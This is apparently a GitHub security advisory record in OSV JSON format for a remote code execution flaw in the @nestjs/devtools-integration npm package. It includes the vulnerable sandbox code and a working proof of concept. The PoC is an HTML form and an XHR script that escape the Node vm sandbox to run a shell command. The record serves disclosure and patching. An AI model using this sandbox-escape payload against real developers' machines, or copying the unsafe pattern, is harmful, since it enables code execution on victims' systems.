Vulnerabilities in pkg:npm/@nestjs/devtools-integration

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-85cg-cmq5-qjm7",
  "modified" : "2025-08-04T15:28:48Z",
  "published" : "2025-08-01T18:43:13Z",
  "aliases" : [ "CVE-2025-54782" ],
  "summary" : "@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers",
  "details" : "## Summary\nA critical Remote Code Execution (RCE) vulnerability was discovered in the `@nestjs/devtools-integration` package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (`safe-eval`-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.\n\nA full blog post about how this vulnerability was uncovered can be found on [Socket's blog](https://socket.dev/blog/nestjs-rce-vuln).\n\n## Details\nThe `@nestjs/devtools-integration` package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, `/inspector/graph/interact`, accepts JSON input containing a `code` field and executes the provided code in a Node.js `vm.runInNewContext` sandbox.\n\nKey issues:\n1. **Unsafe Sandbox:** The sandbox implementation closely resembles the abandoned `safe-eval` library. The Node.js `vm` module is [explicitly documented](https://nodejs.org/api/vm.html) as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.\n2. **Lack of Proper CORS/Origin Checking:** The server sets `Access-Control-Allow-Origin` to a fixed domain (`https://devtools.nestjs.com`) but does not validate the request's `Origin` or `Content-Type`. Attackers can craft POST requests with `text/plain` content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.\n\nBy chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.\n\nRelevant code from the package:\n\n```js\n// Vulnerable request handler\nhandleGraphInteraction(req, res) {\n  if (req.method === 'POST') {\n    let body = '';\n    req.on('data', data => { body += data; });\n    req.on('end', async () => {\n      res.writeHead(200, { 'Content-Type': 'application/plain' });\n      const json = JSON.parse(body);\n      await this.sandboxedCodeExecutor.execute(json.code, res);\n    });\n  }\n}\n\n// Vulnerable sandbox implementation\nrunInNewContext(code, context, opts) {\n  const sandbox = {};\n  const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);\n  sandbox[resultKey] = {};\n  const ctx = `\n    (function() {\n      Function = undefined;\n      const keys = Object.getOwnPropertyNames(this).concat(['constructor']);\n      keys.forEach((key) => {\n        const item = this[key];\n        if (!item || typeof item.constructor !== 'function') return;\n        this[key].constructor = undefined;\n      });\n    })();\n  `;\n  code = ctx + resultKey + '=' + code;\n  if (context) {\n    Object.keys(context).forEach(key => { sandbox[key] = context[key]; });\n  }\n  vm.runInNewContext(code, sandbox, opts);\n  return sandbox[resultKey];\n}\n```\n\nBecause the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.\n\n## PoC\nCreate a minimal NestJS project and enable @nestjs/devtools-integration in development mode:\n\n```\nnpm install @nestjs/devtools-integration\nnpm run start:dev\n```\n\nUse the following HTML form on any malicious website:\n\n\n```html\n<form action=\"http://localhost:8000/inspector/graph/interact\" method=\"POST\" enctype=\"text/plain\">\n  <input name=\"{&quot;code&quot;:&quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()&quot;,&quot;bogus&quot;:&quot;\" value=\"&quot;}\" />\n  <input type=\"submit\" value=\"Exploit\" />\n</form>\n```\n\nWhen the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.\n\nAlternatively, the same payload can be sent via a simple XHR request with text/plain content type:\n\n```html\n<button onclick=\"sendPopCalculatorXHR()\">Send pop calculator XHR Request</button>\n<script>\n    function sendPopCalculatorXHR() {\n        var xhr = new XMLHttpRequest();\n        xhr.open(\"POST\", \"http://localhost:8000/inspector/graph/interact\");\n        xhr.withCredentials = false;\n        xhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n        xhr.send('{\"code\":\"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\\'return process\\')().mainModule.require(\\'child_process\\').execSync(\\'open /System/Applications/Calculator.app\\'); } })()\"}');\n    }\n</script>\n```\n\n### Full POC\n\nMinimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n\nSteps to reproduce:\n\n1. Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n2. Run NPM install\n3. Run `npm run start:dev`\n4. Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/\n5. Try out any of the POC payloads.\n\nSource for the `nestjs-devtools-integration-rce-poc`: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc\n\n## Impact\n\nThis vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with `@nestjs/devtools-integration` enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.\n\n- Severity: Critical\n- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)\n- Privileges Required: None\n- User Interaction: Minimal (no clicks required)\n\n## Fix\nThe maintainers remediated this issue by:\n\n - Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).\n - Adding origin and content-type validation to incoming requests.\n - Introducing authentication for the devtools connection.\n\nUsers should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.\n\n## Credit\n\nThis vulnerability was uncovered by @JLLeitschuh on behalf of [Socket](https://socket.dev/).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nestjs/devtools-integration"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54782"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nestjs/nest"
  }, {
    "type" : "WEB",
    "url" : "https://jlleitschuh.org/nestjs-devtools-integration-rce-poc"
  }, {
    "type" : "WEB",
    "url" : "https://nodejs.org/api/vm.html"
  }, {
    "type" : "WEB",
    "url" : "https://socket.dev/blog/nestjs-rce-vuln"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352", "CWE-77", "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-01T18:43:13Z",
    "nvd_published_at" : "2025-08-02T00:15:25Z"
  }
}